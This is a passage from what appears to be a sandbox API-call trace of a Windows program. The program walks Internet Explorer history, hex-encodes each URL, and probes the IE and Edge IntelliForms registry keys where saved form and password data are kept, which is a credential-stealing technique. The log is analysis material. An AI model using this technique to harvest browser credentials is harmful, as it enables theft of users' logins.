param_1=0xefcf0, param_2="%02X" | out: param_1="DB") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758cb8 [0053.615] lstrcpyA (in: lpString1=0x758cb8, lpString2="F8054F0620AD41E95C16E8C15165" | out: lpString1="F8054F0620AD41E95C16E8C15165") returned="F8054F0620AD41E95C16E8C15165" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165", lpString2="DB" | out: lpString1="F8054F0620AD41E95C16E8C15165DB") returned="F8054F0620AD41E95C16E8C15165DB" [0053.615] LocalFree (hMem=0x758b68) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F4") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7551c0 [0053.615] lstrcpyA (in: lpString1=0x7551c0, lpString2="F8054F0620AD41E95C16E8C15165DB" | out: lpString1="F8054F0620AD41E95C16E8C15165DB") returned="F8054F0620AD41E95C16E8C15165DB" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DB", lpString2="F4" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4") returned="F8054F0620AD41E95C16E8C15165DBF4" [0053.615] LocalFree (hMem=0x758cb8) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755270 [0053.615] lstrcpyA (in: lpString1=0x755270, lpString2="F8054F0620AD41E95C16E8C15165DBF4" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4") returned="F8054F0620AD41E95C16E8C15165DBF4" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DBF4", lpString2="DD" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DD") returned="F8054F0620AD41E95C16E8C15165DBF4DD" [0053.615] LocalFree (hMem=0x7551c0) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CC") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7551c0 [0053.615] lstrcpyA (in: lpString1=0x7551c0, lpString2="F8054F0620AD41E95C16E8C15165DBF4DD" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DD") returned="F8054F0620AD41E95C16E8C15165DBF4DD" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DBF4DD", lpString2="CC" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCC") returned="F8054F0620AD41E95C16E8C15165DBF4DDCC" [0053.615] LocalFree (hMem=0x755270) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B3") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755270 [0053.615] lstrcpyA (in: lpString1=0x755270, lpString2="F8054F0620AD41E95C16E8C15165DBF4DDCC" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCC") returned="F8054F0620AD41E95C16E8C15165DBF4DDCC" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCC", lpString2="B3" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB3") returned="F8054F0620AD41E95C16E8C15165DBF4DDCCB3" [0053.615] LocalFree (hMem=0x7551c0) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.615] lstrcpyA (in: lpString1=0x750de0, lpString2="F8054F0620AD41E95C16E8C15165DBF4DDCCB3" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB3") returned="F8054F0620AD41E95C16E8C15165DBF4DDCCB3" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB3", lpString2="6B" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B") returned="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B" [0053.615] LocalFree (hMem=0x755270) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B0") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.615] lstrcpyA (in: lpString1=0x750f50, lpString2="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B") returned="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B" [0053.616] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB36B", lpString2="B0" | out: lpString1="F8054F0620AD41E95C16E8C15165DBF4DDCCB36BB0") returned="F8054F0620AD41E95C16E8C15165DBF4DDCCB36BB0" [0053.616] LocalFree (hMem=0x750de0) returned 0x0 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.616] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.616] LocalFree (hMem=0x750f50) returned 0x0 [0053.616] CoTaskMemFree (pv=0x755110) [0053.616] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.616] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/aLAaA.doc", lpSrch="?") returned 0x0 [0053.616] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/aLAaA.doc") returned 71 [0053.616] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.616] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.616] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.616] lstrcatA (in: lpString1="", lpString2="49" | out: lpString1="49") returned="49" [0053.616] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.616] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7606c0 [0053.616] lstrcpyA (in: lpString1=0x7606c0, lpString2="49" | out: lpString1="49") returned="49" [0053.616] lstrcatA (in: lpString1="49", lpString2="49" | out: lpString1="4949") returned="4949" [0053.616] LocalFree (hMem=0x760510) returned 0x0 [0053.616] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C8") returned 2 [0053.616] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.616] lstrcpyA (in: lpString1=0x760510, lpString2="4949" | out: lpString1="4949") returned="4949" [0053.616] lstrcatA (in: lpString1="4949", lpString2="C8" | out: lpString1="4949C8") returned="4949C8" [0053.616] LocalFree (hMem=0x7606c0) returned 0x0 [0053.616] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FC") returned 2 [0053.616] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x76a3c8 [0053.616] lstrcpyA (in: lpString1=0x76a3c8, lpString2="4949C8" | out: lpString1="4949C8") returned="4949C8" [0053.616] lstrcatA (in: lpString1="4949C8", lpString2="FC" | out: lpString1="4949C8FC") returned="4949C8FC" [0053.616] LocalFree (hMem=0x760510) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a460 [0053.617] lstrcpyA (in: lpString1=0x76a460, lpString2="4949C8FC" | out: lpString1="4949C8FC") returned="4949C8FC" [0053.617] lstrcatA (in: lpString1="4949C8FC", lpString2="64" | out: lpString1="4949C8FC64") returned="4949C8FC64" [0053.617] LocalFree (hMem=0x76a3c8) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D9") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a3c8 [0053.617] lstrcpyA (in: lpString1=0x76a3c8, lpString2="4949C8FC64" | out: lpString1="4949C8FC64") returned="4949C8FC64" [0053.617] lstrcatA (in: lpString1="4949C8FC64", lpString2="D9" | out: lpString1="4949C8FC64D9") returned="4949C8FC64D9" [0053.617] LocalFree (hMem=0x76a460) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3D") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a460 [0053.617] lstrcpyA (in: lpString1=0x76a460, lpString2="4949C8FC64D9" | out: lpString1="4949C8FC64D9") returned="4949C8FC64D9" [0053.617] lstrcatA (in: lpString1="4949C8FC64D9", lpString2="3D" | out: lpString1="4949C8FC64D93D") returned="4949C8FC64D93D" [0053.617] LocalFree (hMem=0x76a3c8) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4D") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763658 [0053.617] lstrcpyA (in: lpString1=0x763658, lpString2="4949C8FC64D93D" | out: lpString1="4949C8FC64D93D") returned="4949C8FC64D93D" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D", lpString2="4D" | out: lpString1="4949C8FC64D93D4D") returned="4949C8FC64D93D4D" [0053.617] LocalFree (hMem=0x76a460) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A0") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.617] lstrcpyA (in: lpString1=0x763518, lpString2="4949C8FC64D93D4D" | out: lpString1="4949C8FC64D93D4D") returned="4949C8FC64D93D4D" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4D", lpString2="A0" | out: lpString1="4949C8FC64D93D4DA0") returned="4949C8FC64D93D4DA0" [0053.617] LocalFree (hMem=0x763658) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7B") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763658 [0053.617] lstrcpyA (in: lpString1=0x763658, lpString2="4949C8FC64D93D4DA0" | out: lpString1="4949C8FC64D93D4DA0") returned="4949C8FC64D93D4DA0" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA0", lpString2="7B" | out: lpString1="4949C8FC64D93D4DA07B") returned="4949C8FC64D93D4DA07B" [0053.617] LocalFree (hMem=0x763518) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.617] lstrcpyA (in: lpString1=0x763518, lpString2="4949C8FC64D93D4DA07B" | out: lpString1="4949C8FC64D93D4DA07B") returned="4949C8FC64D93D4DA07B" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA07B", lpString2="A6" | out: lpString1="4949C8FC64D93D4DA07BA6") returned="4949C8FC64D93D4DA07BA6" [0053.617] LocalFree (hMem=0x763658) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="42") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758cb8 [0053.617] lstrcpyA (in: lpString1=0x758cb8, lpString2="4949C8FC64D93D4DA07BA6" | out: lpString1="4949C8FC64D93D4DA07BA6") returned="4949C8FC64D93D4DA07BA6" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA6", lpString2="42" | out: lpString1="4949C8FC64D93D4DA07BA642") returned="4949C8FC64D93D4DA07BA642" [0053.617] LocalFree (hMem=0x763518) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="07") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.617] lstrcpyA (in: lpString1=0x758b68, lpString2="4949C8FC64D93D4DA07BA642" | out: lpString1="4949C8FC64D93D4DA07BA642") returned="4949C8FC64D93D4DA07BA642" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA642", lpString2="07" | out: lpString1="4949C8FC64D93D4DA07BA64207") returned="4949C8FC64D93D4DA07BA64207" [0053.617] LocalFree (hMem=0x758cb8) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F7") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758cb8 [0053.617] lstrcpyA (in: lpString1=0x758cb8, lpString2="4949C8FC64D93D4DA07BA64207" | out: lpString1="4949C8FC64D93D4DA07BA64207") returned="4949C8FC64D93D4DA07BA64207" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207", lpString2="F7" | out: lpString1="4949C8FC64D93D4DA07BA64207F7") returned="4949C8FC64D93D4DA07BA64207F7" [0053.617] LocalFree (hMem=0x758b68) returned 0x0 [0053.617] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.617] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.617] lstrcpyA (in: lpString1=0x758b68, lpString2="4949C8FC64D93D4DA07BA64207F7" | out: lpString1="4949C8FC64D93D4DA07BA64207F7") returned="4949C8FC64D93D4DA07BA64207F7" [0053.617] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7", lpString2="F8" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8") returned="4949C8FC64D93D4DA07BA64207F7F8" [0053.618] LocalFree (hMem=0x758cb8) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="85") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755110 [0053.618] lstrcpyA (in: lpString1=0x755110, lpString2="4949C8FC64D93D4DA07BA64207F7F8" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8") returned="4949C8FC64D93D4DA07BA64207F7F8" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F8", lpString2="85" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F885") returned="4949C8FC64D93D4DA07BA64207F7F885" [0053.618] LocalFree (hMem=0x758b68) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1E") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755270 [0053.618] lstrcpyA (in: lpString1=0x755270, lpString2="4949C8FC64D93D4DA07BA64207F7F885" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F885") returned="4949C8FC64D93D4DA07BA64207F7F885" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F885", lpString2="1E" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851E") returned="4949C8FC64D93D4DA07BA64207F7F8851E" [0053.618] LocalFree (hMem=0x755110) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E3") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x755110 [0053.618] lstrcpyA (in: lpString1=0x755110, lpString2="4949C8FC64D93D4DA07BA64207F7F8851E" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851E") returned="4949C8FC64D93D4DA07BA64207F7F8851E" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F8851E", lpString2="E3" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE3") returned="4949C8FC64D93D4DA07BA64207F7F8851EE3" [0053.618] LocalFree (hMem=0x755270) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9C") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755270 [0053.618] lstrcpyA (in: lpString1=0x755270, lpString2="4949C8FC64D93D4DA07BA64207F7F8851EE3" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE3") returned="4949C8FC64D93D4DA07BA64207F7F8851EE3" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE3", lpString2="9C" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C") returned="4949C8FC64D93D4DA07BA64207F7F8851EE39C" [0053.618] LocalFree (hMem=0x755110) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="44") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750f50 [0053.618] lstrcpyA (in: lpString1=0x750f50, lpString2="4949C8FC64D93D4DA07BA64207F7F8851EE39C" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C") returned="4949C8FC64D93D4DA07BA64207F7F8851EE39C" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C", lpString2="44" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C44") returned="4949C8FC64D93D4DA07BA64207F7F8851EE39C44" [0053.618] LocalFree (hMem=0x755270) returned 0x0 [0053.618] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7C") returned 2 [0053.618] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750de0 [0053.618] lstrcpyA (in: lpString1=0x750de0, lpString2="4949C8FC64D93D4DA07BA64207F7F8851EE39C44" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C44") returned="4949C8FC64D93D4DA07BA64207F7F8851EE39C44" [0053.618] lstrcatA (in: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C44", lpString2="7C" | out: lpString1="4949C8FC64D93D4DA07BA64207F7F8851EE39C447C") returned="4949C8FC64D93D4DA07BA64207F7F8851EE39C447C" [0053.618] LocalFree (hMem=0x750f50) returned 0x0 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.618] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.618] LocalFree (hMem=0x750de0) returned 0x0 [0053.618] CoTaskMemFree (pv=0x76a330) [0053.619] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.619] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/lkh5%20k8XuA2JQC.gif", lpSrch="?") returned 0x0 [0053.619] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/lkh5%20k8XuA2JQC.gif") returned 75 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.619] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.619] lstrcatA (in: lpString1="", lpString2="A6" | out: lpString1="A6") returned="A6" [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7606c0 [0053.619] lstrcpyA (in: lpString1=0x7606c0, lpString2="A6" | out: lpString1="A6") returned="A6" [0053.619] lstrcatA (in: lpString1="A6", lpString2="C0" | out: lpString1="A6C0") returned="A6C0" [0053.619] LocalFree (hMem=0x760510) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4F") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.619] lstrcpyA (in: lpString1=0x760510, lpString2="A6C0" | out: lpString1="A6C0") returned="A6C0" [0053.619] lstrcatA (in: lpString1="A6C0", lpString2="4F" | out: lpString1="A6C04F") returned="A6C04F" [0053.619] LocalFree (hMem=0x7606c0) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6F") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x76a330 [0053.619] lstrcpyA (in: lpString1=0x76a330, lpString2="A6C04F" | out: lpString1="A6C04F") returned="A6C04F" [0053.619] lstrcatA (in: lpString1="A6C04F", lpString2="6F" | out: lpString1="A6C04F6F") returned="A6C04F6F" [0053.619] LocalFree (hMem=0x760510) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a4f8 [0053.619] lstrcpyA (in: lpString1=0x76a4f8, lpString2="A6C04F6F" | out: lpString1="A6C04F6F") returned="A6C04F6F" [0053.619] lstrcatA (in: lpString1="A6C04F6F", lpString2="C0" | out: lpString1="A6C04F6FC0") returned="A6C04F6FC0" [0053.619] LocalFree (hMem=0x76a330) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a330 [0053.619] lstrcpyA (in: lpString1=0x76a330, lpString2="A6C04F6FC0" | out: lpString1="A6C04F6FC0") returned="A6C04F6FC0" [0053.619] lstrcatA (in: lpString1="A6C04F6FC0", lpString2="79" | out: lpString1="A6C04F6FC079") returned="A6C04F6FC079" [0053.619] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a4f8 [0053.619] lstrcpyA (in: lpString1=0x76a4f8, lpString2="A6C04F6FC079" | out: lpString1="A6C04F6FC079") returned="A6C04F6FC079" [0053.619] lstrcatA (in: lpString1="A6C04F6FC079", lpString2="FD" | out: lpString1="A6C04F6FC079FD") returned="A6C04F6FC079FD" [0053.619] LocalFree (hMem=0x76a330) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EA") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763838 [0053.619] lstrcpyA (in: lpString1=0x763838, lpString2="A6C04F6FC079FD" | out: lpString1="A6C04F6FC079FD") returned="A6C04F6FC079FD" [0053.619] lstrcatA (in: lpString1="A6C04F6FC079FD", lpString2="EA" | out: lpString1="A6C04F6FC079FDEA") returned="A6C04F6FC079FDEA" [0053.619] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AB") returned 2 [0053.619] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x7638d8 [0053.619] lstrcpyA (in: lpString1=0x7638d8, lpString2="A6C04F6FC079FDEA" | out: lpString1="A6C04F6FC079FDEA") returned="A6C04F6FC079FDEA" [0053.619] lstrcatA (in: lpString1="A6C04F6FC079FDEA", lpString2="AB" | out: lpString1="A6C04F6FC079FDEAAB") returned="A6C04F6FC079FDEAAB" [0053.619] LocalFree (hMem=0x763838) returned 0x0 [0053.619] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="34") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763838 [0053.620] lstrcpyA (in: lpString1=0x763838, lpString2="A6C04F6FC079FDEAAB" | out: lpString1="A6C04F6FC079FDEAAB") returned="A6C04F6FC079FDEAAB" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB", lpString2="34" | out: lpString1="A6C04F6FC079FDEAAB34") returned="A6C04F6FC079FDEAAB34" [0053.620] LocalFree (hMem=0x7638d8) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x7638d8 [0053.620] lstrcpyA (in: lpString1=0x7638d8, lpString2="A6C04F6FC079FDEAAB34" | out: lpString1="A6C04F6FC079FDEAAB34") returned="A6C04F6FC079FDEAAB34" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34", lpString2="A2" | out: lpString1="A6C04F6FC079FDEAAB34A2") returned="A6C04F6FC079FDEAAB34A2" [0053.620] LocalFree (hMem=0x763838) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.620] lstrcpyA (in: lpString1=0x758b68, lpString2="A6C04F6FC079FDEAAB34A2" | out: lpString1="A6C04F6FC079FDEAAB34A2") returned="A6C04F6FC079FDEAAB34A2" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A2", lpString2="64" | out: lpString1="A6C04F6FC079FDEAAB34A264") returned="A6C04F6FC079FDEAAB34A264" [0053.620] LocalFree (hMem=0x7638d8) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758cb8 [0053.620] lstrcpyA (in: lpString1=0x758cb8, lpString2="A6C04F6FC079FDEAAB34A264" | out: lpString1="A6C04F6FC079FDEAAB34A264") returned="A6C04F6FC079FDEAAB34A264" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264", lpString2="ED" | out: lpString1="A6C04F6FC079FDEAAB34A264ED") returned="A6C04F6FC079FDEAAB34A264ED" [0053.620] LocalFree (hMem=0x758b68) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="42") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.620] lstrcpyA (in: lpString1=0x758b68, lpString2="A6C04F6FC079FDEAAB34A264ED" | out: lpString1="A6C04F6FC079FDEAAB34A264ED") returned="A6C04F6FC079FDEAAB34A264ED" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED", lpString2="42" | out: 